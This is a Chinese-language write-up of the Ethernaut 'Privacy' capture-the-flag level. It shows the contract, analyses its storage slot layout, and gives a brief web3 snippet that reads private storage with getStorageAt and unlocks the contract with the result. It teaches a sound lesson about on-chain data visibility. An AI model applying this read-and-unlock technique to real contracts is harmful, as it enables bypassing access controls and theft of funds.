# Ethernaut CTF Level 12 - Privacy
## 題目
這個合約的開發者非常小心的保護了 storage 敏感資料的區域.
把這個合約解鎖就可以通關喔!
這些可能有幫助:
* 理解 storage 是如何運作的
* 理解 parameter parsing 的原理
* 理解 casting 的原理
小技巧:
* 記住 Metamask 只是個基本的日常工具. 如果使用 Metamask 有遇到問題或障礙,可以試試看使用別的工具。在後面比較困難的關卡,應該會用到包括 Remix、Web3 的操作。
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
```
<br>
## 分析
跟前面的[Level 8](https://hackmd.io/@0xbc000/BkitIP3UT)很類似
但這個contract有比較多的變數會用到slot儲存概念
1. locked(bool)會佔用一個slot。
1. ID(uint256)會單獨佔用一個slot。
1. flattening(uint8)/ denomination(uint8)/ awkwardness(uint16)將一起被打包在同一個slot中
- 因為它們加起來的總大小(32位)遠小於一個槽位(256位)的大小。
3. data數組的每個元素(bytes32)將分別佔用一個槽位。
根據這個分佈,data[2]應該會在第6個槽位
<br>
## 攻擊
```javascript
key = await web3.eth.getStorageAt(instance, 5).then(v => v.slice(0, 34))
"0x7ff6093eb6e0c0da47b661ab1f61103b"
await contract.unlock(key)
```
## 補充
From Ethernaut
在以太坊上,資訊都是公開的,沒有什麽資訊是能夠被隱藏的。private 關鍵字只是 solidity 語言中,一個對於變數和函式封裝的的概念。
使用 Web3 的 getStorageAt(...) 就可以讀取 storage 中的任何資料,雖然讀取有些資料的時候會比較麻煩,這是為了在盡可能壓縮 storage 使用空間的時候, solidity 用到了不少最佳化的技術。
但其實也不會比這個關卡中你遇到的問題複雜到哪裡去。
更多的訊息,可以參見 Darius 寫的這篇超棒的文章: How to read Ethereum contract storage